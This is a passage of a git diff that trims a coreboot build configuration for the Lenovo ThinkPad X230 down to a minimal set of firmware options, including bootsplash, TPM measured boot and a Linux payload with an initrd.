-CONFIG_DECOMPRESS_OFAST=y -CONFIG_WARNINGS_ARE_ERRORS=y -CONFIG_MAX_REBOOT_CNT=3 -CONFIG_RELOCATABLE_MODULES=y -CONFIG_HAVE_BOOTBLOCK=y -CONFIG_HAVE_ROMSTAGE=y -CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-x230-legacy.config b/config/coreboot-x230-legacy.config index cd5023c73..62b5a7ff6 100644 --- a/config/coreboot-x230-legacy.config +++ b/config/coreboot-x230-legacy.config @@ -1,688 +1,29 @@ -# -# Automatically generated file; DO NOT EDIT. -# coreboot configuration -# - -# -# General setup -# -CONFIG_COREBOOT_BUILD=y -CONFIG_LOCALVERSION="" -CONFIG_CBFS_PREFIX="fallback" -CONFIG_COMPILER_GCC=y -# CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y -# CONFIG_ANY_TOOLCHAIN is not set -# CONFIG_CCACHE is not set -# CONFIG_IWYU is not set -# CONFIG_FMD_GENPARSER is not set -# CONFIG_UTIL_GENPARSER is not set -CONFIG_OPTION_BACKEND_NONE=y -# CONFIG_USE_OPTION_TABLE is not set -CONFIG_COMPRESS_RAMSTAGE_LZMA=y -# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set -CONFIG_SEPARATE_ROMSTAGE=y -CONFIG_INCLUDE_CONFIG_FILE=y -CONFIG_COLLECT_TIMESTAMPS=y CONFIG_TIMESTAMPS_ON_CONSOLE=y # CONFIG_USE_BLOBS is not set -# CONFIG_COVERAGE is not set -# CONFIG_UBSAN is not set -CONFIG_HAVE_ASAN_IN_RAMSTAGE=y -# CONFIG_ASAN is not set -# CONFIG_NO_STAGE_CACHE is not set -CONFIG_TSEG_STAGE_CACHE=y -# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 -# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set -# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set CONFIG_FW_CONFIG=y CONFIG_FW_CONFIG_SOURCE_CBFS=y - -# -# Software Bill Of Materials (SBOM) -# -# CONFIG_SBOM is not set -# end of Software Bill Of Materials (SBOM) -# end of General setup - -# -# Mainboard -# - -# -# Important: Run 'make distclean' before switching boards -# -# CONFIG_VENDOR_51NB is not set -# CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set -# CONFIG_VENDOR_AMD is not set -# CONFIG_VENDOR_AOPEN is not set -# CONFIG_VENDOR_APPLE is not set -# CONFIG_VENDOR_ASROCK is not set -# CONFIG_VENDOR_ASUS is not set -# CONFIG_VENDOR_BIOSTAR is not set -# CONFIG_VENDOR_BOSTENTECH is not set -# CONFIG_VENDOR_BYTEDANCE is not set -# CONFIG_VENDOR_CAVIUM is not set -# CONFIG_VENDOR_CLEVO is not set -# CONFIG_VENDOR_COMPULAB is not set -# CONFIG_VENDOR_DELL is not set -# CONFIG_VENDOR_EMULATION is not set -# CONFIG_VENDOR_EXAMPLE is not set -# CONFIG_VENDOR_FACEBOOK is not set -# CONFIG_VENDOR_FOXCONN is not set -# CONFIG_VENDOR_GETAC is not set -# CONFIG_VENDOR_GIGABYTE is not set -# CONFIG_VENDOR_GOOGLE is not set -# CONFIG_VENDOR_HP is not set -# CONFIG_VENDOR_IBASE is not set -# CONFIG_VENDOR_IBM is not set -# CONFIG_VENDOR_INTEL is not set -# CONFIG_VENDOR_INVENTEC is not set -# CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y -# CONFIG_VENDOR_LIBRETREND is not set -# CONFIG_VENDOR_MSI is not set -# CONFIG_VENDOR_OCP is not set -# CONFIG_VENDOR_OPENCELLULAR is not set -# CONFIG_VENDOR_PACKARDBELL is not set -# CONFIG_VENDOR_PCENGINES is not set -# CONFIG_VENDOR_PINE64 is not set -# CONFIG_VENDOR_PORTWELL is not set -# CONFIG_VENDOR_PRODRIVE is not set -# CONFIG_VENDOR_PROTECTLI is not set -# CONFIG_VENDOR_PURISM is not set -# CONFIG_VENDOR_RAZER is not set -# CONFIG_VENDOR_RODA is not set -# CONFIG_VENDOR_SAMSUNG is not set -# CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SIEMENS is not set -# CONFIG_VENDOR_SIFIVE is not set -# CONFIG_VENDOR_STARLABS is not set -# CONFIG_VENDOR_SUPERMICRO is not set -# CONFIG_VENDOR_SYSTEM76 is not set -# CONFIG_VENDOR_TI is not set -# CONFIG_VENDOR_UP is not set -CONFIG_BOARD_SPECIFIC_OPTIONS=y -CONFIG_MAINBOARD_FAMILY="ThinkPad X230" -CONFIG_MAINBOARD_PART_NUMBER="ThinkPad X230" -CONFIG_MAINBOARD_VERSION="1.0" -CONFIG_MAINBOARD_DIR="lenovo/x230" -CONFIG_VGA_BIOS_ID="8086,0166" -CONFIG_DIMM_MAX=4 -CONFIG_DIMM_SPD_SIZE=256 -CONFIG_FMDFILE="" CONFIG_NO_POST=y -CONFIG_MAINBOARD_VENDOR="LENOVO" CONFIG_CBFS_SIZE=0x700000 -CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 -CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 -CONFIG_MAX_CPUS=8 CONFIG_ONBOARD_VGA_IS_PRIMARY=y -CONFIG_DEVICETREE="devicetree.cb" -# CONFIG_VBOOT is not set -CONFIG_VARIANT_DIR="x230" -CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" -# CONFIG_VGA_BIOS is not set -CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="LENOVO" -CONFIG_DRAM_RESET_GATE_GPIO=10 -CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" -CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 -CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" -CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" -CONFIG_USBDEBUG_HCD_INDEX=2 -CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 -CONFIG_TPM_PIRQ=0x0 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" -CONFIG_DCACHE_RAM_BASE=0xfefe0000 -CONFIG_DCACHE_RAM_SIZE=0x20000 -CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 -CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 -CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 -CONFIG_HAVE_INTEL_FIRMWARE=y -CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y -CONFIG_SPI_FLASH_WINBOND=y # CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_SPI_FLASH_GIGADEVICE=y -CONFIG_SPI_FLASH_STMICRO=y -# CONFIG_DEBUG_SMI is not set -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad X230" -# CONFIG_HAVE_IFD_BIN is not set -CONFIG_PCIEXP_HOTPLUG_BUSES=8 -CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 -CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 -# CONFIG_BOARD_LENOVO_THINKPAD_T440P is not set -# CONFIG_BOARD_LENOVO_THINKPAD_W541 is not set -# CONFIG_BOARD_LENOVO_L520 is not set -# CONFIG_BOARD_LENOVO_S230U is not set -# CONFIG_BOARD_LENOVO_T400 is not set -# CONFIG_BOARD_LENOVO_T500 is not set -# CONFIG_BOARD_LENOVO_R400 is not set -# CONFIG_BOARD_LENOVO_R500 is not set -# CONFIG_BOARD_LENOVO_W500 is not set -# CONFIG_BOARD_LENOVO_T410 is not set -# CONFIG_BOARD_LENOVO_T420 is not set -# CONFIG_BOARD_LENOVO_T420S is not set -# CONFIG_BOARD_LENOVO_THINKPAD_T430 is not set -# CONFIG_BOARD_LENOVO_T430S is not set -# CONFIG_BOARD_LENOVO_T431S is not set -# CONFIG_BOARD_LENOVO_T520 is not set -# CONFIG_BOARD_LENOVO_W520 is not set -# CONFIG_BOARD_LENOVO_T530 is not set -# CONFIG_BOARD_LENOVO_W530 is not set -# CONFIG_BOARD_LENOVO_T60 is not set -# CONFIG_BOARD_LENOVO_Z61T is not set -# CONFIG_BOARD_LENOVO_R60 is not set -# CONFIG_BOARD_LENOVO_THINKCENTRE_A58 is not set -# CONFIG_BOARD_LENOVO_X131E is not set -# CONFIG_BOARD_LENOVO_X1_CARBON_GEN1 is not set -# CONFIG_BOARD_LENOVO_X200 is not set -# CONFIG_BOARD_LENOVO_X301 is not set -# CONFIG_BOARD_LENOVO_X201 is not set -# CONFIG_BOARD_LENOVO_X220 is not set -# CONFIG_BOARD_LENOVO_X220I is not set -# CONFIG_BOARD_LENOVO_X1 is not set CONFIG_BOARD_LENOVO_X230=y -# CONFIG_BOARD_LENOVO_X230T is not set -# CONFIG_BOARD_LENOVO_X230S is not set -# CONFIG_BOARD_LENOVO_X230_EDP is not set -# CONFIG_BOARD_LENOVO_X60 is not set -CONFIG_VBOOT_SLOTS_RW_AB=y -CONFIG_DRIVER_LENOVO_SERIALS=y -CONFIG_PS2K_EISAID="PNP0303" -CONFIG_PS2M_EISAID="LEN0020" -CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" -CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" -CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y -# CONFIG_PCIEXP_L1_SUB_STATE is not set -# CONFIG_PCIEXP_CLK_PM is not set -# CONFIG_DRIVERS_UART_8250IO is not set -CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" -CONFIG_BOARD_ROMSIZE_KB_12288=y -# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set -CONFIG_COREBOOT_ROMSIZE_KB_12288=y -# CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set -CONFIG_COREBOOT_ROMSIZE_KB=12288 -CONFIG_ROM_SIZE=0x00c00000 -CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y -CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y -CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y -# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set -# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set -CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 -# end of Mainboard - -CONFIG_SYSTEM_TYPE_LAPTOP=y - -# -# Chipset -# - -# -# SoC -# -CONFIG_CHIPSET_DEVICETREE="northbridge/intel/sandybridge/chipset.cb" -CONFIG_CBFS_MCACHE_SIZE=0x4000 -CONFIG_ROMSTAGE_ADDR=0x2000000 -CONFIG_VERSTAGE_ADDR=0x2000000 -CONFIG_SMM_TSEG_SIZE=0x800000 -CONFIG_SMM_RESERVED_SIZE=0x100000 -CONFIG_SMM_MODULE_STACK_SIZE=0x400 -# CONFIG_USE_EXP_X86_64_SUPPORT is not set -CONFIG_SERIRQ_CONTINUOUS_MODE=y -CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 -CONFIG_EHCI_BAR=0xfef00000 -CONFIG_ACPI_CPU_STRING="CP%02X" -CONFIG_STACK_SIZE=0x2000 -CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 -CONFIG_INTEL_GMA_BCLV_WIDTH=16 -CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 -CONFIG_INTEL_GMA_BCLM_WIDTH=16 -CONFIG_BOOTBLOCK_IN_CBFS=y -CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 -CONFIG_HPET_MIN_TICKS=0x80 -CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 -CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 -CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 -CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 -CONFIG_FIXED_SMBUS_IO_BASE=0x400 -CONFIG_CBFS_CACHE_ALIGN=8 - -# -# CPU -# -CONFIG_CPU_INTEL_MODEL_206AX=y -CONFIG_CPU_INTEL_COMMON=y -CONFIG_ENABLE_VMX=y -CONFIG_SET_IA32_FC_LOCK_BIT=y -CONFIG_SET_MSR_AESNI_LOCK_BIT=y -CONFIG_CPU_INTEL_COMMON_TIMEBASE=y -CONFIG_CPU_INTEL_COMMON_SMM=y -CONFIG_MICROCODE_UPDATE_PRE_RAM=y -CONFIG_PARALLEL_MP=y -CONFIG_XAPIC_ONLY=y -# CONFIG_X2APIC_ONLY is not set -# CONFIG_X2APIC_RUNTIME is not set -# CONFIG_X2APIC_LATE_WORKAROUND is not set -CONFIG_UDELAY_TSC=y -CONFIG_TSC_MONOTONIC_TIMER=y -CONFIG_TSC_SYNC_MFENCE=y -CONFIG_HAVE_SMI_HANDLER=y -CONFIG_SMM_TSEG=y -CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 -CONFIG_AP_STACK_SIZE=0x800 -CONFIG_SMP=y -CONFIG_SSE=y -CONFIG_SSE2=y -CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y -CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y -CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS is not set -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set -# CONFIG_CPU_MICROCODE_CBFS_NONE is not set - -# -# Northbridge -# -CONFIG_USE_NATIVE_RAMINIT=y -CONFIG_NORTHBRIDGE_INTEL_SANDYBRIDGE=y -# CONFIG_NATIVE_RAMINIT_IGNORE_MAX_MEM_FUSES is not set -# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_MAX_DIMMS is not set -# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_REQUESTED_VOLTAGE is not set -# CONFIG_RAMINIT_ALWAYS_ALLOW_DLL_OFF is not set # CONFIG_RAMINIT_ENABLE_ECC is not set - -# -# Southbridge -# -CONFIG_SOUTHBRIDGE_INTEL_BD82X6X_COMMON=y -CONFIG_SOUTHBRIDGE_INTEL_C216=y -# CONFIG_HIDE_MEI_ON_ERROR is not set -CONFIG_PCIEXP_HOTPLUG=y -CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMCLIB=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_ME=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_EARLY_SMBUS=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI_ICH9=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y -CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y -CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y -# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set # CONFIG_INTEL_CHIPSET_LOCKDOWN is not set -CONFIG_TCO_SPACE_NOT_YET_SPLIT=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_WATCHDOG=y -CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 -CONFIG_RCBA_LENGTH=0x4000 - -# -# Super I/O -# - -# -# Embedded Controllers -# -CONFIG_EC_ACPI=y -CONFIG_EC_LENOVO_H8=y -CONFIG_H8_BEEP_ON_DEATH=y -CONFIG_H8_FLASH_LEDS_ON_DEATH=y -# CONFIG_H8_SUPPORT_BT_ON_WIFI is not set -# CONFIG_H8_FN_CTRL_SWAP is not set -CONFIG_H8_HAS_BAT_THRESHOLDS_IMPL=y -CONFIG_EC_LENOVO_PMH7=y - -# -# Intel Firmware -# -CONFIG_MAINBOARD_USES_IFD_GBE_REGION=y -CONFIG_ARCH_X86=y -CONFIG_ARCH_BOOTBLOCK_X86_32=y -CONFIG_ARCH_VERSTAGE_X86_32=y -CONFIG_ARCH_ROMSTAGE_X86_32=y -CONFIG_ARCH_POSTCAR_X86_32=y -CONFIG_ARCH_RAMSTAGE_X86_32=y -CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_HAVE_EXP_X86_64_SUPPORT=y -CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y -CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y -CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 -CONFIG_PC80_SYSTEM=y -CONFIG_HAVE_CMOS_DEFAULT=y -CONFIG_POSTCAR_STAGE=y -CONFIG_BOOTBLOCK_SIMPLE=y -# CONFIG_BOOTBLOCK_NORMAL is not set -CONFIG_COLLECT_TIMESTAMPS_TSC=y -CONFIG_HAVE_CF9_RESET=y -CONFIG_DEBUG_HW_BREAKPOINTS=y -CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y -# CONFIG_DUMP_SMBIOS_TYPE17 is not set -# end of Chipset - -# -# Devices -# -CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y -CONFIG_HAVE_LINEAR_FRAMEBUFFER=y -CONFIG_MAINBOARD_HAS_LIBGFXINIT=y -CONFIG_MAINBOARD_USE_LIBGFXINIT=y -# CONFIG_VGA_ROM_RUN is not set -# CONFIG_NO_GFX_INIT is not set -CONFIG_NO_EARLY_GFX_INIT=y - -# -# Display -# -# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y -CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x400000 -# end of Display - -CONFIG_PCI=y -CONFIG_ECAM_MMCONF_SUPPORT=y -CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_AZALIA_HDA_CODEC_SUPPORT=y -CONFIG_PCIEXP_PLUGIN_SUPPORT=y -CONFIG_ECAM_MMCONF_LENGTH=0x04000000 # CONFIG_PCI_ALLOW_BUS_MASTER is not set -# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set -# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_ABOVE_4G=y -# CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G is not set CONFIG_PCIEXP_HOTPLUG_IO=0x2000 -# CONFIG_EARLY_PCI_BRIDGE is not set -CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 -CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 -CONFIG_INTEL_GMA_HAVE_VBT=y -CONFIG_INTEL_GMA_ADD_VBT=y -# CONFIG_SOFTWARE_I2C is not set -CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 # CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set -CONFIG_USE_DDR3=y -# end of Devices - -# -# Generic Drivers -# -CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 -# CONFIG_ELOG is not set -CONFIG_CACHE_MRC_SETTINGS=y -# CONFIG_MRC_SETTINGS_PROTECT is not set -# CONFIG_SMMSTORE is not set -CONFIG_SPI_FLASH=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y -# CONFIG_SPI_FLASH_NO_FAST_READ is not set -CONFIG_SPI_FLASH_ADESTO=y -CONFIG_SPI_FLASH_AMIC=y -CONFIG_SPI_FLASH_ATMEL=y -CONFIG_SPI_FLASH_EON=y -CONFIG_SPI_FLASH_MACRONIX=y -CONFIG_SPI_FLASH_SPANSION=y -CONFIG_SPI_FLASH_SST=y -CONFIG_SPI_FLASH_ISSI=y -CONFIG_TPM_INIT_RAMSTAGE=y -# CONFIG_TPM_PPI is not set -CONFIG_NO_UART_ON_SUPERIO=y -# CONFIG_DRIVERS_UART_OXPCIE is not set -CONFIG_HAVE_USBDEBUG=y -CONFIG_HAVE_USBDEBUG_OPTIONS=y -# CONFIG_USBDEBUG is not set -# CONFIG_VPD is not set -# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set -# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set -# CONFIG_DRIVERS_I2C_MAX98396 is not set -CONFIG_INTEL_INT15=y -CONFIG_INTEL_GMA_ACPI=y -CONFIG_VBT_CBFS_COMPRESSION_LZMA=y -# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set -# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set -CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" -CONFIG_GFX_GMA=y -CONFIG_GFX_GMA_PANEL_1_ON_LVDS=y -CONFIG_GFX_GMA_DYN_CPU=y -CONFIG_GFX_GMA_GENERATION="Ironlake" -CONFIG_GFX_GMA_PCH="Cougar_Point" -CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" -CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" -# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set CONFIG_DRIVERS_PS2_KEYBOARD=y -CONFIG_DRIVERS_MC146818=y # CONFIG_USE_PC_CMOS_ALTCENTURY is not set -CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 -CONFIG_MEMORY_MAPPED_TPM=y -CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 -CONFIG_DRIVERS_RICOH_RCE822=y -# CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y -# end of Generic Drivers - -# -# Security -# - -# -# CBFS verification -# -# CONFIG_CBFS_VERIFICATION is not set -# end of CBFS verification - -# -# Verified Boot (vboot) -# -CONFIG_VBOOT_LIB=y -# end of Verified Boot (vboot) - -# -# Trusted Platform Module -# -# CONFIG_NO_TPM is not set -CONFIG_TPM1=y -CONFIG_TPM=y -CONFIG_MAINBOARD_HAS_TPM1=y -# CONFIG_TPM_DEACTIVATE is not set -# CONFIG_DEBUG_TPM is not set -# CONFIG_TPM_RDRESP_NEED_DELAY is not set -# CONFIG_TPM_LOG_CB is not set -CONFIG_TPM_LOG_TPM1=y -CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" -CONFIG_PCR_BOOT_MODE=1 -CONFIG_PCR_HWID=1 -CONFIG_PCR_SRTM=2 -CONFIG_PCR_FW_VER=10 -CONFIG_PCR_RUNTIME_DATA=3 -# end of Trusted Platform Module - -# -# Memory initialization -# -CONFIG_PLATFORM_HAS_DRAM_CLEAR=y -# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set -# end of Memory initialization - -# CONFIG_INTEL_TXT is not set -# CONFIG_STM is not set -CONFIG_BOOTMEDIA_LOCK_NONE=y -# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set -# CONFIG_BOOTMEDIA_LOCK_CHIP is not set -# CONFIG_BOOTMEDIA_SMM_BWP is not set -# end of Security - -CONFIG_ACPI_HAVE_PCAT_8259=y -CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y -CONFIG_ACPI_SOC_NVS=y -CONFIG_ACPI_NO_CUSTOM_MADT=y -CONFIG_ACPI_COMMON_MADT_LAPIC=y -CONFIG_ACPI_COMMON_MADT_IOAPIC=y -CONFIG_HAVE_ACPI_TABLES=y -CONFIG_BOOT_DEVICE_SPI_FLASH=y -CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y -CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y -CONFIG_RTC=y -CONFIG_HEAP_SIZE=0x100000 - -# -# Console -# -CONFIG_BOOTBLOCK_CONSOLE=y -CONFIG_POSTCAR_CONSOLE=y -CONFIG_SQUELCH_EARLY_SMP=y -# CONFIG_SPKMODEM is not set -# CONFIG_CONSOLE_NE2K is not set -CONFIG_CONSOLE_CBMEM=y -# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set -# CONFIG_CONSOLE_SPI_FLASH is not set -# CONFIG_CONSOLE_I2C_SMBUS is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 -CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y -CONFIG_CONSOLE_USE_ANSI_ESCAPES=y -CONFIG_HWBASE_DEBUG_CB=y -# end of Console - -CONFIG_HAVE_ACPI_RESUME=y -CONFIG_RESUME_PATH_SAME_AS_BOOT=y -CONFIG_HAVE_MONOTONIC_TIMER=y -CONFIG_HAVE_OPTION_TABLE=y -CONFIG_IOAPIC=y -CONFIG_USE_WATCHDOG_ON_BOOT=y - -# -# System tables -# -CONFIG_GENERATE_SMBIOS_TABLES=y -CONFIG_SMBIOS_PROVIDED_BY_MOBO=y -CONFIG_BIOS_VENDOR="coreboot" -CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" -# end of System tables - -# -# Payload -# -# CONFIG_PAYLOAD_NONE is not set -# CONFIG_PAYLOAD_ELF is not set -# CONFIG_PAYLOAD_BOOTBOOT is not set -# CONFIG_PAYLOAD_FILO is not set -# CONFIG_PAYLOAD_GRUB2 is not set -# CONFIG_PAYLOAD_SEAGRUB is not set -# CONFIG_PAYLOAD_LINUXBOOT is not set -# CONFIG_PAYLOAD_SEABIOS is not set -# CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" -# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set -CONFIG_COMPRESS_SECONDARY_PAYLOAD=y - -# -# Secondary Payloads -# -# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set -# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set -# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set -# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set -# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set -# CONFIG_TINT_SECONDARY_PAYLOAD is not set -# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set -# end of Secondary Payloads -# end of Payload - -# -# Debugging -# - -# -# CPU Debug Settings -# -# CONFIG_DISPLAY_MTRRS is not set - -# -# Vendorcode Debug Settings -# - -# -# BLOB Debug Settings -# - -# -# General Debug Settings -# -# CONFIG_FATAL_ASSERTS is not set -# 